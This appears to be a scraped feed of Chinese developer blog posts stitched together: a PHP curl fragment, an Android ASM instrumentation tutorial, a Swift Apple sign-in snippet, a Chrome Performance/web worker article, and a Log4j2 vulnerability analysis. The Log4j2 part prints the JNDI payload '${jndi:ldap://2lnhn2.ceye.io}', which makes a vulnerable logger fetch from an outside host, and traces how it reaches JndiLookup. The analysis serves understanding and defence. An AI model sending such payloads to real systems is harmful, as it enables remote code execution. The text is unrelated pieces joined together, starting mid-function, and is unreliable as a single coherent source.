if(!empty($data)){
curl_setopt($ch, CURLOPT_POST, 1);
if (is_array($data)) {
$data = json_encode($data);
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
if(!empty($headers)){
curl_setopt($ch, CURLOPT_HTTPHEADER, buildHeaders($headers));
}
$output = curl_exec($ch);
// $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
curl_close($ch);
return $output;
}

function buildHeaders($headers)
{{{:playground:message:微信交流群.jpeg?200|}}
$headersArr = array();
foreach ($headers as $key => $value) {
array_push($headersArr, "{$key}: {$value}");
}
return $headersArr;
}


 三、更多信息

* 如果您在使用MQTT服务中,有任何疑问和建议,欢迎您联系我们

收起阅读 »

Android编译插桩操作字节码

1. 概念 什么是编译插桩 顾名思义,所谓的编译插桩就是在代码编译期间修改已有的代码或者生成新代码。我们项目中的 Dagger、ButterKnife或者kotlin都用到了编译插桩技术。 要理解编译插桩,我们要先知道在Android中.java 文件是怎么编...
继续阅读 »

1. 概念


什么是编译插桩


顾名思义,所谓的编译插桩就是在代码编译期间修改已有的代码或者生成新代码。我们项目中的 Dagger、ButterKnife或者kotlin都用到了编译插桩技术。


要理解编译插桩,我们要先知道在Android中.java 文件是怎么编译的。


WechatIMG106.png


如上图所示,demo.java通过javac命令编译成demo.class文件,然后通过字节码文件编译器将class文件打包成.dex。


我们今天要说的插桩,就是在class文件转为.dex之前修改或者添加代码。


2. 场景


我们什么时候会用到它呢?



  • 日志埋点

  • 性能监控

  • 权限控制

  • 代码替换

  • 代码调试

  • 等等...


3. 插桩工具介绍




  • AspectJ




AspectJ 是老牌 AOP(Aspect-Oriented Programming)框架。其主要优势是成熟稳定,使用者也不需要对字节码文件有深入的理解。




  • ASM




ASM 最初起源于一个博士的研究项目,在 2002 年开源,并从 5.x 版本便开始支持 Java 8。并且,ASM 是诸多 JVM 语言钦定的字节码生成库,它在效率与性能方面的优势要远超其它的字节码操作库如 javassist、AspectJ。其主要优势是内存占用很小,运行速度快,操作灵活。但是上手难度大,需要对 Java 字节码有比较充分的了解。


本文使用 ASM 来实现简单的编译插桩效果,接下来我们是想一个小需求,


4. 实践


1. 创建AsmDemo项目,其中只有一个MainActivity


QQ20211224-135648@2x.png


2.创建自定义gradle插件


QQ20211224-135825@2x.png
删除module中main文件夹下所有目录,新建groovy跟java目录。


2222.png
gradle插件是用groovy编写的,所以groovy文件存放.groovy文件,java目录中存放asm相关类。
清空build.gradle文件内容,改为如下内容:


plugins {
id 'groovy'
id 'maven'
}
dependencies {
implementation gradleApi()
implementation localGroovy()
implementation 'com.android.tools.build:gradle:3.5.4'
}
group = "demo.asm.plugin"
version = "1.0.0"

uploadArchives {
repositories {
mavenDeployer {
repository(url: uri("../asm_lifecycle_repo"))
}
}
}

3.创建LifeCyclePlugin文件


package demo.asm.plugin

import org.gradle.api.Plugin
import org.gradle.api.Project

public class LifeCyclePlugin implements Plugin {

@Override
void apply(Project target) {
println("hello this is my plugin")
}
}

LifeCyclePlugin实现了Plugin接口,但我们在app中使用此插件的时候,LifeCyclePlugin的apply插件会被调用。


接着创建properties文件:
首先在main下面创建resources/META-INF/gradle-plugins目录,然后在gradle-plugins中创建demo.asm.lifecycle.properties,并填入如下内容:


implementation-class=demo.asm.plugin.LifeCyclePlugin

其中文件名demo.asm.lifecycle就是我们插件的名称,后续我们需要在app的build.gradle文件中引用此插件。
好了,现在我们的插件已经写完了,我们把他部署到本地仓库中来测试一下。发布地址在上述build.grale文件中repository属性配置。我将其配置在asm_lifecycle_repo目录中。


我们在 Android Studio 的右边栏找到 Gradle 中点击 uploadArchives,执行 plugin 的部署任务,构建成功后,本地会出现一个repo目录,就是我们自定义的插件。


333.png


我们测试一下demo.asm.lifecycle。


首先在项目根目录的build.gradle文件中添加


buildscript {
ext.kotlin_version = '1.4.32'
repositories {
google()
mavenCentral()
maven { url 'asm_lifecycle_repo' } //需要添加的内容
}
dependencies {
classpath "com.android.tools.build:gradle:3.5.4"
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:1.4.32"
classpath 'demo.asm.plugin:asm_lifecycle_plugin:1.0.0' //需要添加的内容

}
}

然后在app的build.gradle中添加


id 'demo.asm.lifecycle'

然后我们执行命令./gradlew clean assembleDebug,可以看到hello this is my plugin 正确输出,说明我们自定义的gradle插件可以使用。


444.png


然后我们来自定义transform,来遍历.class文件
这部分功能主要依赖 Transform API。


4.自定义transform


什么是 Transform ?


Transform 可以被看作是 Gradle 在编译项目时的一个 task,在 .class 文件转换成 .dex 的流程中会执行这些 task,对所有的 .class 文件(可包括第三方库的 .class)进行转换,转换的逻辑定义在 Transform 的 transform 方法中。实际上平时我们在 build.gradle 中常用的功能都是通过 Transform 实现的,比如混淆(proguard)、分包(multi-dex)、jar 包合并(jarMerge)。
创建LifeCycleTransfrom文件,内容如下:


package demo.asm.plugin

import com.android.build.api.transform.QualifiedContent
import com.android.build.api.transform.Transform
import com.android.build.api.transform.TransformException
import com.android.build.api.transform.TransformInput
import com.android.build.api.transform.TransformInvocation
import com.android.build.gradle.internal.pipeline.TransformManager
import joptsimple.internal.Classes

/**
* Transform 主要作用是检索项目编译过程中的所有文件。通过这几个方法,我们可以对自定义 Transform 设置一些遍历规则,
*/

public class LifeCycleTransform extends Transform {

/**
* 设置我们自定义的 Transform 对应的 Task 名称。Gradle 在编译的时候,会将这个名称显示在控制台上。
* 比如:Task :app:transformClassesWithXXXForDebug。
* @return
*/

@Override
String getName() {
return "LifeCycleTransform"
}
/**
* 在项目中会有各种各样格式的文件,通过 getInputType 可以设置 LifeCycleTransform 接收的文件类型,
* 此方法返回的类型是 Set
集合。
* 此方法有俩种取值
* 1.CLASSES:代表只检索 .class 文件;
* 2.RESOURCES:代表检索 java 标准资源文件。
* @return
*/

@Override
Set getInputTypes() {
return TransformManager.CONTENT_CLASS
}
/**
* 这个方法规定自定义 Transform 检索的范围,具体有以下几种取值:
* EXTERNAL LIBRARIES 只有外部库
* PROJECT 只有项目内容
* PROJECT LOCAL DEPS 只有项目的本地依赖(本地jar )
* PROVIDED ONLY 只提供本地或远程依赖项
* SUB PROJECTS 只有子项目。
* SUB PROJECTS LOCAL DEPS 只有子项目的本地依赖项(本地jar)。
* TESTED CODE 由当前变量(包括依赖项)测试的代码
* @return
*/

@Override
Set getScopes() {
return TransformManager.PROJECT_ONLY
}
/**
* isIncremental() 表示当前 Transform 是否支持增量编译,我们不需要增量编译,所以直接返回 false 即可。
* @return
*/

@Override
boolean isIncremental() {
return false
}
/**
* 最重要的方法,在这个方法中,可以获取到俩个数据的流向
* inputs:inputs 中是传过来的输入流,其中有两种格式,一种是 jar 包格式,一种是 directory(目录格式)。
* outputProvider:outputProvider 获取到输出目录,最后将修改的文件复制到输出目录,这一步必须做,否则编译会报错。
*
* @param transformInvocation
* @throws TransformException* @throws InterruptedException* @throws IOException
*/

@Override
void transform(TransformInvocation transformInvocation) throws TransformException, InterruptedException, IOException {
Collection tis = transformInvocation.inputs
tis.forEach(ti -> {
ti.directoryInputs.each {
File file = it.file
if (file)
{
file.traverse {
println("find class:" + it.name)
}
}
}
})

}
}

然后将我们将自定义的transform注册到我们定义好的plugin中,LifeCyclePlugin代码修改如下:


package demo.asm.plugin

import com.android.build.gradle.AppExtension
import org.gradle.api.Plugin
import org.gradle.api.Project

public class LifeCyclePlugin implements Plugin {

@Override
void apply(Project target) {
println("hello this is my plugin")
def android = target.extensions.getByType(AppExtension)
println "======register transform ========"
LifeCycleTransform transform = new LifeCycleTransform()
android.registerTransform(transform)

}
}

然后再次执行./gradlew clean assembleDebug,可以看到项目中所有的.class文件都被输出了


555.png


5.使用 ASM,插入字节码到 Activity 文件


ASM 是一套开源框架,其中几个常用的 API 如下:


ClassReader:负责解析 .class 文件中的字节码,并将所有字节码传递给 ClassWriter。


ClassVisitor:负责访问 .class 文件中各个元素,还记得上一课时我们介绍的 .class 文件结构吗?ClassVisitor 就是用来解析这些文件结构的,当解析到某些特定结构时(比如类变量、方法),它会自动调用内部相应的 FieldVisitor 或者 MethodVisitor 的方法,进一步解析或者修改 .class 文件内容。


ClassWriter:继承自 ClassVisitor,它是生成字节码的工具类,负责将修改后的字节码输出为 byte 数组。


添加 ASM 依赖
在asm_demo_plugin的build.gradle中添加asm依赖


dependencies {
implementation gradleApi()
implementation localGroovy()
implementation 'com.android.tools.build:gradle:3.5.4'
implementation 'org.ow2.asm:asm:8.0.1'//需要添加的依赖
implementation 'org.ow2.asm:asm-commons:8.0.1'//需要添加的依赖
}

在main/java下面创建包 demo/asm/asm目录并添加如下代码:


import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;


/**
* Created by zhangzhenrui
*/


public class LifeCycleClassVisitor extends ClassVisitor {

private String className = "";
private String superName = "";

public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
super.visit(version, access, name, signature, superName, interfaces);
this.className = name;
this.superName = superName;
}


public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
System.out.println("classVisitor methodName" + name + ",supername" + superName);
MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions);
if (superName.equals("android/support/v7/app/AppCompatActivity")) {
if (name.equals("onCreate")) {
return new LifeCycleMethodVisitor(className, name, mv);
}
}
return mv;
}


public void visitEnd() {
super.visitEnd();
}

public LifeCycleClassVisitor(ClassVisitor classVisitor) {
super(Opcodes.ASM5, classVisitor);
}
}


import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;

/**
* Created by zhangzhenrui
*/


class LifeCycleMethodVisitor extends MethodVisitor {
private String className;
private String methodName;

public LifeCycleMethodVisitor(String className, String methodName, MethodVisitor methodVisitor) {
super(Opcodes.ASM5, methodVisitor);
this.className = className;
this.methodName = methodName;
}

public void visitCode() {
super.visitCode();
System.out.println("methodVistor visitorCode");
mv.visitLdcInsn("TAG");
mv.visitLdcInsn(className + "------>" + methodName);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "android/util/Log", "e", "(Ljava/lang/String;Ljava/lang/String;)I", false);
mv.visitInsn(Opcodes.POP);

}

}

然后修改LifeCycleTransformtransform函数如下:


@Override
void transform(TransformInvocation transformInvocation) throws TransformException, InterruptedException, IOException {
Collection transformInputs = transformInvocation.inputs
TransformOutputProvider outputProvider = transformInvocation.outputProvider
transformInputs.each { TransformInput transformInput ->
transformInput.directoryInputs.each { DirectoryInput directoryInput ->
File file = directoryInput.file
if (file)
{
file.traverse(type: FileType.FILES, namefilter: ~/.*.class/) { File item ->
ClassReader classReader = new ClassReader(item.bytes)
if (classReader.itemCount != 0) {
System.out.println("find class:" + item.name + "classReader.length:" + classReader.getItemCount())
ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_MAXS)
ClassVisitor classVisitor = new LifeCycleClassVisitor(classWriter)
classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES)
byte[] bytes = classWriter.toByteArray()
FileOutputStream outputStream = new FileOutputStream(item.path)
outputStream.write(bytes)
outputStream.close()
}
}
}
def dest = outputProvider.getContentLocation(directoryInput.name, directoryInput.contentTypes, directoryInput.scopes, Format.DIRECTORY)
FileUtils.copyDirectory(directoryInput.file, dest)
}

}
}

重新部署我们的插件后,重新运行主项目,可以看到:


MainActivity------>onCreate

但是我们没有在MainActivity中写一行代码,这样就实现了动态注入日志的功能


5.总结


本篇文章主要讲述了在Android中使用asm动态操作字节码的流程,其中涉及到的技术点有



  • 自定义gradle插件

  • transform的使用

  • asm的使用

收起阅读 »

swift 苹果登录

iOS
- 苹果登录的前期工作: - 1.开发者账号中增加苹果登录的选项- 2.xcode中配置苹果登录 //swift版本的代码逻辑 //头文件 import AuthenticationServices //按钮加载 苹果登录 对于按钮有一定的要求,具体查看...
继续阅读 »
苹果登录
项目中继承第三方登录时,需增加上苹果登录即可上架
苹果登录需要iOS系统 13以上支持
详细的内容阅读苹果官方的网址
url:https://developer.apple.com/documentation/authenticationservices/implementing_user_authentication_with_sign_in_with_apple
- 苹果登录的前期工作:
- 1.开发者账号中增加苹果登录的选项


1.1  可能会造成证书无法使用,重新编辑一下保存下载即可!


- 2.xcode中配置苹果登录


前期的配置基本上完成
剩下的就是代码逻辑
- 3.代码中增加苹果登录的逻辑
//swift版本的代码逻辑
//头文件
import AuthenticationServices

//按钮加载 苹果登录 对于按钮有一定的要求,具体查看上方的连接
// 此处使用了一个临时的
if #available(iOS 13.0, *) {
let authorizationButton = ASAuthorizationAppleIDButton()
authorizationButton.frame = CGRect(x: (KScreenWidth - 300) / 2, y: kScreenHeight - 50, width: 300, height: 30)
authorizationButton.addTarget(self, action: #selector(handleAuthorizationAppleIDButtonPress), for: .touchUpInside)
self.view.addSubview(authorizationButton)
} else {
// Fallback on earlier versions
}


//MARK: 点击苹果登陆按钮
@objc
func handleAuthorizationAppleIDButtonPress() {

if #available(iOS 13.0, *) {
/**
- 点击 苹果登录的按钮跳出苹果登录的界面
- 跳转出系统界面
*/

let appleIDProvider = ASAuthorizationAppleIDProvider()
let request = appleIDProvider.createRequest()
request.requestedScopes = [.fullName, .email]

let authorizationController = ASAuthorizationController(authorizationRequests: [request])
authorizationController.delegate = self
authorizationController.presentationContextProvider = self as? ASAuthorizationControllerPresentationContextProviding
authorizationController.performRequests()

} else {
// Fallback on earlier versions
}

}

//MARK: - 授权成功
@available(iOS 13.0, *)
func authorizationController(controller: ASAuthorizationController, didCompleteWithAuthorization authorization: ASAuthorization) {
if #available(iOS 13.0, *) {
switch authorization.credential {
case let appleIDCredential as ASAuthorizationAppleIDCredential:
/**
- 首次注册 能够那去到的参数分别是:
1. user
2.state
3.authorizedScopes
4.authorizationCode
5.identityToken
6.email
7.fullName
8.realUserStatus
*/

// Create an account in your system.
let userIdentifier = appleIDCredential.user
let fullName = appleIDCredential.fullName
let email = appleIDCredential.email
let code = appleIDCredential.authorizationCode
// For the purpose of this demo app, store the `userIdentifier` in the keychain.
self.saveUserInKeychain(userIdentifier)

// For the purpose of this demo app, show the Apple ID credential information in the `ResultViewController`.
self.showResultViewController(userIdentifier: userIdentifier, fullName: fullName, email: email)
BPLog.lmhInfo("userID:\(userIdentifier),fullName:\(fullName),userEmail:\(email),code:\(code)")
case let passwordCredential as ASPasswordCredential:

// Sign in using an existing iCloud Keychain credential.
let username = passwordCredential.user
let password = passwordCredential.password

// For the purpose of this demo app, show the password credential as an alert.
DispatchQueue.main.async {
self.showPasswordCredentialAlert(username: username, password: password)
}

default:
break
}
} else {
// Fallback on earlier versions
}
}
收起阅读 »

快速掌握 Performance 性能分析:一个真实的优化案例

这么强大的工具肯定是要好好掌握的,今天我们就来做一个性能优化的案例来快速上手 Performance 吧。首先,我们准备这样一段代码:<html lang="en"><head>    <meta charse...
继续阅读 »

Chrome Devtools 的 Performance 工具是性能分析和优化的利器,因为它可以记录每一段代码的耗时,进而分析出性能瓶颈,然后做针对性的优化。

这么强大的工具肯定是要好好掌握的,今天我们就来做一个性能优化的案例来快速上手 Performance 吧。

性能分析

首先,我们准备这样一段代码:


<html lang="en">
<head>
   <meta charset="UTF-8">
   <title>worker performance optimizationtitle>
head>
<body>
   <script>
       function a() {
          b();
      }
       function b() {
           let total = 0;
           for(let i = 0; i< 10*10000*10000; i++) {
               total += i;
          }
           console.log('b:', total);
      }

       a();
   script>
   <script>
       function c() {
           d();
      }
       function d() {
           let total = 0;
           for(let i = 0; i< 1*10000*10000; i++) {
               total += i;
          }
           console.log('c:', total);
      }
       c();
   script>
body>
html>

很明显,两个 script 标签是两个宏任务,第一个宏任务的调用栈是 a、b,第二个宏任务的调用栈是 c、d。

我们用 Performance 来看一下是不是这样:

首先用无痕模式打开 chrome,无痕模式下没有插件,分析性能不会受插件影响。

打开 chrome devtools 的 Performance 面板,点击 reload 按钮,会重新加载页面并开始记录耗时:

过几秒点击结束。

这时候界面就会展示出记录的信息:

图中标出的 Main 就是主线程。

主线程是不断执行 Event Loop 的,可以看到有两个 Task(宏任务),调用栈分别是 a、b 和 c、d,和我们分析的对上了。(当然,还有一些浏览器内部的函数,比如 parseHtml、evaluateScript 等,这些可以忽略)

Performance 工具最重要的是分析主线程的 Event Loop,分析每个 Task 的耗时、调用栈等信息。

当你点击某个宏任务的时候,在下面的面板会显示调用栈的详情(选择 bottom-up 是列表展示, call tree 是树形展示)

每个函数的耗时也都显示在左侧,右侧有源码地址,点击就可以跳到 Sources 对应的代码。

直接展示了每行代码的耗时,太方便了!

工具介绍完了,我们来分析下代码哪里有性能问题。

很明显, b 和 d 两个函数的循环累加耗时太高了。

在 Performance 中也可以看到 Task 被标红了,下面的 summary 面板也显示了 long task 的警告。

有同学可能会问:为什么要优化 long task 呢?

因为渲染和 JS 执行都在主线程,在一个 Event Loop 中,会相互阻塞,如果 JS 有长时间执行的 Task,就会阻塞渲染,导致页面卡顿。所以,性能分析主要的目的是找到 long task,之后消除它。

可能很多同学都不知道,其实网页的渲染也是一个宏任务,所以才会和 JS 执行互相阻塞。关于这一点的证明可以看我前面一篇文章:

通过 Performance 证明,网页的渲染是一个宏任务

找到了要优化的代码,也知道了优化的目标(消除 long task),那么就开始优化吧。

性能优化

我们优化的目标是把两个 long task 中的耗时逻辑(循环累加)给去掉或者拆分成多个 task。

关于拆分 task 这点,可以参考 React 从递归渲染 vdom 转为链表的可打断的渲染 vdom 的优化,也就是 fiber 的架构,它的目的也是为了拆分 long task。

但明显我们这里的逻辑没啥好拆分的,它就是一个大循环。

那么能不能不放在主线程跑,放到其他线程跑呢?浏览器的 web worker 好像就是做耗时计算的性能优化的。

我们来试一下:

封装这样一个函数,传入 url 和数字,函数会创建一个 worker 线程,通过 postMessage 传递 num 过去,并且监听 message 事件来接收返回的数据。

function runWorker(url, num) {
   return new Promise((resolve, reject) => {
       const worker = new Worker(url);
       worker.postMessage(num);
       worker.addEventListener('message', function (evt) {
           resolve(evt.data);
      });
       worker.onerror = reject;
  });
};

然后 b 和 c 函数就可以改成这样了:

function b() {
   runWorker('./worker.js', 10*10000*10000).then(res => {
       console.log('b:', res);
  });
}

耗时逻辑移到了 worker 线程:

addEventListener('message', function(evt) {
   let total = 0;
   let num = evt.data;
   for(let i = 0; i< num; i++) {
       total += i;
  }
   postMessage(total);
});

完美。我们再跑一下试试:

哇,long task 一个都没有了!

然后你还会发现 Main 线程下面多了两个 Worker 线程:

虽然 Worker 还有 long task,但是不重要,毕竟计算量在那,只要主线程没有 long task 就行。

这样,我们通过把计算量拆分到 worker 线程,充分利用了多核 cpu 的能力,解决了主线程的 long task 问题,界面交互会很流畅。

我们再看下 Sources 面板:

对比下之前的:

这优化力度,肉眼可见!

就这样,我们一起完成了一次网页的性能优化,通过 Peformance 分析出 long task,定位到耗时代码,然后通过 worker 拆分计算量进行优化,成功消除了主线程的 long task。

代码传到了 github,感兴趣的可以拉下来用 Performance 工具分析下:

github.com/QuarkGluonP…

总结

Chrome Devtools 的 Performance 工具是网页性能分析的利器,它可以记录一段时间内的代码执行情况,比如 Main 线程的 Event Loop、每个 Event loop 的 Task,每个 Task 的调用栈,每个函数的耗时等,还可以定位到 Sources 中的源码位置。

性能优化的目标就是找到 Task 中的 long task,然后消除它。因为网页的渲染是一个宏任务,和 JS 的宏任务在同一个 Event Loop 中,是相互阻塞的。

我们做了一个真实的优化案例,通过 Performance 分析出了代码中的耗时部分,发现是计算量大导致的,所以我们把计算逻辑拆分到了 worker 线程以充分利用多核 cpu 的并行处理能力,消除了主线程的 long task。

做完这个性能优化的案例之后,是不是觉得 Peformance 工具用起来也不难呢?

其实会分析主线程的 Event Loop,会分析 Task 和 Task 的调用栈,找出 long task,并能定位到耗时的代码,Performance 工具就算是掌握了大部分了,常用的功能也就是这些。


作者:zxg_神说要有光
来源:https://juejin.cn/post/7046805217668497445

收起阅读 »

从0到1带你深入理解log4j2漏洞

0x01前言从Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。本文将从零到一带你深入了解log4j2漏洞...
继续阅读 »



0x01前言

最近IT圈被爆出的log4j2漏洞闹的沸沸扬扬,log4j2作为一个优秀的java程序日志监控组件,被应用在了各种各样的衍生框架中,同时也是作为目前java全生态中的基础组件之一,这类组件一旦崩塌将造成不可估量的影响。

Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。本文将从零到一带你深入了解log4j2漏洞。知其所以然,方可深刻理解、有的放矢。

0x02 Java日志体系

要了解认识log4j2,就不得讲讲java的日志体系,在最早的2001年之前,java是不存在日志库的,打印日志均通过System.outSystem.err来进行,缺点也显而易见,列举如下:

大量IO操作;

无法合理控制输出,并且输出内容不能保存,需要盯守;

无法定制日志格式,不能细粒度显示;

在2001年,软件开发者Ceki Gulcu设计出了一套日志库也就是log4j(注意这里没有2)。后来log4j成为了Apache的项目,作者也加入了Apache组织。这里有一个小插曲,Apache组织建议过sun公司在标准库中引入log4j,但是sun公司可能有自己的小心思,所以就拒绝了建议并在JDK1.4中推出了自己的借鉴版本JUL(Java Util Logging)。不过功能还是不如Log4j强大。使用范围也很小。

由于出现了两个日志库,为了方便开发者进行选择使用,Apache推出了日志门面JCL(Jakarta Commons Logging)。它提供了一个日志抽象层,在运行时动态的绑定日志实现组件来工作(如log4j、java.util.logging)。导入哪个就绑定哪个,不需要再修改配置。当然如果没导入的话他自己内部有一个Simple logger的简单实现,但是功能很弱,直接忽略。架构如下图:

pic_746f57fc.png

在2006年,log4j的作者Ceki Gulcu离开了Apache组织后觉得JCL不好用,于是自己开发了一版和其功能相似的Slf4j(Simple Logging Facade for Java)。Slf4j需要使用桥接包来和日志实现组件建立关系。由于Slf4j每次使用都需要配合桥接包,作者又写出了Logback日志标准库作为Slf4j接口的默认实现。其实根本原因还是在于log4j此时无法满足要求了。以下是桥接架构图:

pic_a29fa3d8.png

到了2012年,Apache可能看不要下去要被反超了,于是就推出了新项目Log4j2并且不兼容Log4j,全面借鉴Slf4j+Logback。此次借鉴比较成功。

Log4j2不仅仅具有Logback的所有特性,还做了分离设计,分为log4j-api和log4j-core,log4j-api是日志接口,log4j-core是日志标准库,并且Apache也为Log4j2提供了各种桥接包

到目前为止Java日志体系被划分为两大阵营,分别是Apache阵营和Ceki阵营。

pic_b911ab38.png

0x03 Log4j2源码浅析

Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

从上面的解释中我们可以看到Log4j2的功能十分强大,这里会简单分析其与漏洞相关联部分的源码实现,来更熟悉Log4j2的漏洞产生原因。

我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包



  org.apache.logging.log4j
  log4j-core
  2.14.0

pic_e9a036b2.png

在工程目录resources下创建log4j2.xml配置文件






 

     
 


 
     
 

log4j2中包含两个关键组件LogManagerLoggerContextLogManager是Log4J2启动的入口,可以初始化对应的LoggerContextLoggerContext会对配置文件进行解析等其它操作。

在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j2Rce2 {
private static final Logger logger = LogManager.getLogger(log4j2Rce2.class);
public static void main(String[] args) {
  String a="${java:os}";
  logger.error(a);
}
}

pic_aafbf0e7.png

属性占位符之Interpolator(插值器)

log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator(插值器)内部以Map的方式则封装了多个StrLookup对象,如下图显示:

pic_d1985627.png

详细信息可以查看官方文档。这些实现类存在于org.apache.logging.log4j.core.lookup包下。

当参数占位符${prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符${key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookuplookup方法使用jndi(javax.naming)获取value。如下图演示。

pic_cb5dc772.png

模式布局

log4j2支持通过配置Layout打印格式化的指定形式日志,可以在Appenders的后面附加Layouts来完成这个功能。常用之一有PatternLayout,也就是我们在配置文件中PatternLayout字段所指定的属性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n%msg表示所输出的消息,其它格式化字符所表示的意义可以查看官方文档

pic_d98d5967.png

PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List转换器列表和List格式信息列表。

在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。相关转换器名称注解和加载的插件实例如下图所示:

pic_9b3ba45d.png

pic_d17431d4.png

本次漏洞关键在于转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理存在问题,在大多数场景下这部分是攻击者可控的。MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。

日志级别

log4j2支持多种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中值设置intLevel。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200,如下图中的处理:

pic_a35d88a0.png

0x04 漏洞原理

首先先来看一下网络上流传最多的payload

${jndi:ldap://2lnhn2.ceye.io}

而触发漏洞的方法,大家都是以Logger.error()方法来进行演示,那这里我们也采用同样的方式来讲解,具体漏洞环境代码如下所示

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;

public class Log4jTEst {

public static void main(String[] args) {

  Logger logger = LogManager.getLogger(Log4jTEst.class);

  logger.error("${jndi:ldap://2lnhn2.ceye.io}");

}
}

直击漏洞本源,将断点断在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,该方法的第一行代码将返回当前使用的布局,并调用 对应布局处理器的encode方法。log4j2默认缺省布局使用的是PatternLayout,如下图所示:

pic_cd90f5ec.png

继续跟进在encode中会调用toText方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的StringBuilder中。

pic_bf1e021d.png

pic_3dec5458.png

接下来会调用serializer.toSerializable,并在这个方法中调用不同的Converter来处理传入的数据,如下图所示,

pic_5556a236.png

这里整理了一下调用的Converter

org.apache.logging.log4j.core.pattern.DatePatternConverter
org.apache.logging.log4j.core.pattern.LiteralPatternConverter
org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
org.apache.logging.log4j.core.pattern.LevelPatternConverter
org.apache.logging.log4j.core.pattern.LoggerPatternConverter
org.apache.logging.log4j.core.pattern.MessagePatternConverter
org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter

这么多Converter都将一个个通过上图中的for循环对日志事件进行处理,当调用到MessagePatternConverter时,我们跟入MessagePatternConverter.format()方法中一探究竟

pic_da4aa8d9.png

在MessagePatternConverter.format()方法中对日志消息进行格式化,其中很明显的看到有针对字符"KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …连着判断,等同于判断是否存在"{",这三行代码中关键点在于最后一行

pic_8703a6a5.png

这里我圈了几个重点,有助于理解Log4j2 为什么会用JndiLookup,它究竟想要做什么。此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示

09:54:48.329 [main] ERROR com.Test.log4j.Log4jTEst - ${jndi:ldap://2lnhn2.ceye.io}

本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是$符号,也就是说${jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?

可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串。replace的作用简单来说就是想要进行一个替换,我们继续跟进

pic_b85b66f9.png

经过一段的嵌套调用,来到Interpolator.lookup,这里会通过var.indexOf(PREFIX_SEPARATOR)判断":"的位置,其后截取之前的字符。截取到jndi然后就会获取针对jndi的Strlookup对象并调用Strlookup的lookup方法,如下图所示

pic_e0add034.png

那么总共有多少Strlookup的子类对象可供选择呢,可供调用的Strlookup都存放在当前Interpolator类的strLookupMap属性中,如下所示

pic_9cb4d7c7.png

然后程序的继续执行就会来到JndiLookup的lookup方法中,并调用jndiManager.lookup方法,如下图所示

pic_11229b48.png

说到这里,我们已经详细了解了logger.error()造成RCE的原理,那么问题就来了,logger有很多方法,除了error以外还别方法可以触发漏洞么?这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。如下图所示:

pic_7621e8c9.png

